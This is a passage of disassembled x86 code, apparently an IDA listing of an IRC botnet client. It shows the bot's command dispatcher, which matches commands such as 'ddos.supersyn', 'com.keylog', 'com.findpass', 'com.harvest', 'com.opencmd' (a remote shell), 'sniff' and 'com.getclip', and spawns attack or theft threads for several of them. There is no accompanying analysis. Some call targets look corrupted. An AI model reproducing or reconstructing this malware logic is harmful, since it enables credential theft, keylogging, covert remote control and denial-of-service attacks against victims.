		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410277
		call	sub_40AC20
		test	eax, eax
		mov	eax, offset dword_432788
		jnz	short loc_410249
		mov	eax, offset dword_432754


loc_410249:				; CODE XREF: sub_40EE72+13D0j
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 1Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_410277:				; CODE XREF: sub_40EE72+13C2j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410459
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_76C]
		push	edi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_432694
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	14h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_401831
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410448


loc_410432:				; CODE XREF: sub_40EE72+15D4j
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_410432
; ---------------------------------------------------------------------------


loc_410448:				; CODE XREF: sub_40EE72+15BEj
		call	near ptr 267036Ah
		nop
		push	eax
		push	offset unk_432648
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_410459:				; CODE XREF: sub_40EE72+14E6j
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4105D2
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_4105D2:				; CODE XREF: sub_40EE72+1746j
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41065E
		cmp	[ebp+var_8], ebx
		jnz	short loc_410602
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_410602:				; CODE XREF: sub_40EE72+1774j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_410607:				; CODE XREF: sub_40EE72+17DBj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_410613
		mov	eax, offset aEmpty ; "<Empty>"


loc_410613:				; CODE XREF: sub_40EE72+179Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410607
		push	offset dword_43251C


loc_410654:				; CODE XREF: sub_40EE72+5C58j
		call	sub_40BF6D
		jmp	loc_414F46
; ---------------------------------------------------------------------------


loc_41065E:				; CODE XREF: sub_40EE72+176Fj
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aAsc	; "asc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		push	edi
		push	offset aSa	; "sa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410CCC
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C97
		push	19h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410BC1
		push	offset unk_432250
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_410BC1:				; CODE XREF: sub_40EE72+1D43j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_410C03
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C03
		mov	esi, [ebp+var_8C]


loc_410C03:				; CODE XREF: sub_40EE72+1D73j
					; sub_40EE72+1D89j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_432210
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402688
		push	ebx
		push	ebx
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410C86


loc_410C70:				; CODE XREF: sub_40EE72+1E12j
		cmp	[ebp+var_460], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_410C70
; ---------------------------------------------------------------------------


loc_410C86:				; CODE XREF: sub_40EE72+1DFCj
		call	near ptr 267036Ah
		nop
		push	eax
		push	offset unk_4321C4
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410C97:				; CODE XREF: sub_40EE72+1D33j
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	19h
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410CC5
		push	eax
		push	offset unk_432178
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410CC5:				; CODE XREF: sub_40EE72+1E46j
		push	offset unk_432140
		jmp	short loc_410D38
; ---------------------------------------------------------------------------


loc_410CCC:				; CODE XREF: sub_40EE72+1D1Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E81
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aFile	; "file"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	1Bh
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410D33
		push	eax
		push	offset unk_4320E0
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410D33:				; CODE XREF: sub_40EE72+1EB4j
		push	offset unk_4320A4


loc_410D38:				; CODE XREF: sub_40EE72+1D4Aj
					; sub_40EE72+1E58j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_410D4B:				; CODE XREF: sub_40EE72+1E80j
					; sub_40EE72+1E91j
		push	1Bh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410D5E
		push	offset unk_432074
		jmp	short loc_410D38
; ---------------------------------------------------------------------------


loc_410D5E:				; CODE XREF: sub_40EE72+1EE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D8D
		mov	[ebp+var_464], 1
		jmp	short loc_410D96
; ---------------------------------------------------------------------------


loc_410D8D:				; CODE XREF: sub_40EE72+1F0Dj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax


loc_410D96:				; CODE XREF: sub_40EE72+1F19j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_410DBD
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410DBD
		mov	esi, [ebp+var_8C]


loc_410DBD:				; CODE XREF: sub_40EE72+1F2Dj
					; sub_40EE72+1F43j
		push	esi
		lea	eax, [ebp+var_4E8]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_432044
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Bh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4023A7
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410E3C


loc_410E2A:				; CODE XREF: sub_40EE72+1FC8j
		cmp	[ebp+var_460], ebx
		jnz	short loc_410E57
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_410E2A
; ---------------------------------------------------------------------------


loc_410E3C:				; CODE XREF: sub_40EE72+1FB6j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_431FF8


loc_410E48:				; CODE XREF: sub_40EE72+1E20j
					; sub_40EE72+1E4Ej ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_410E57:				; CODE XREF: sub_40EE72+1E04j
					; sub_40EE72+1E34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F822
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_410E81:				; CODE XREF: sub_40EE72+1E6Bj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411114
		cmp	dword_43AE68, ebx
		jz	short loc_410EB2
		cmp	dword_43AE90, ebx
		jz	short loc_410EB2
		push	offset dword_431FA8
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_40EE72+202Cj
					; sub_40EE72+2034j
		cmp	[ebp+var_C], ebx
		jz	loc_4110DC
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_410EDA
		push	eax
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_410EDA:				; CODE XREF: sub_40EE72+2058j
		push	edi
		push	offset aStart	; "start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F26
		cmp	[ebp+arg_18], ebx
		jz	short loc_410EFA
		push	[ebp+arg_0]
		push	3
		jmp	loc_410F84
; ---------------------------------------------------------------------------


loc_410EFA:				; CODE XREF: sub_40EE72+207Cj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410F1C
		push	offset dword_431F6C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410F1C:				; CODE XREF: sub_40EE72+209Ej
		push	offset dword_431F3C
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410F26:				; CODE XREF: sub_40EE72+2077j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F3E
		push	[ebp+arg_0]
		push	4
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F3E:				; CODE XREF: sub_40EE72+20C3j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F56
		push	[ebp+arg_0]
		push	5
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F56:				; CODE XREF: sub_40EE72+20DBj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F6E:				; CODE XREF: sub_40EE72+20F3j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F90
		push	[ebp+arg_0]
		push	1


loc_410F84:				; CODE XREF: sub_40EE72+2083j
					; sub_40EE72+20CAj ...
		call	sub_40D719
		pop	ecx
		pop	ecx
		jmp	loc_4110AB
; ---------------------------------------------------------------------------


loc_410F90:				; CODE XREF: sub_40EE72+210Bj
		push	edi
		push	offset aShare	; "share"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FFB
		cmp	[ebp+arg_18], ebx
		jz	short loc_410FCE
		cmp	[ebp+var_9C4], bl
		jz	short loc_410FC1
		push	ebx
		push	[ebp+arg_18]
		push	1


loc_410FB4:				; CODE XREF: sub_40EE72+215Aj
		call	sub_40DAF0
		add	esp, 0Ch
		jmp	loc_4110AB
; ---------------------------------------------------------------------------


loc_410FC1:				; CODE XREF: sub_40EE72+213Aj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx
		jmp	short loc_410FB4
; ---------------------------------------------------------------------------


loc_410FCE:				; CODE XREF: sub_40EE72+2132j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DCE6
		add	esp, 10h
		test	eax, eax
		jz	short loc_410FF1
		push	offset dword_431EE0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410FF1:				; CODE XREF: sub_40EE72+2173j
		push	offset dword_431EB0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410FFB:				; CODE XREF: sub_40EE72+212Dj
		push	edi
		push	offset aUser	; "user"
		call	sub_4176D0
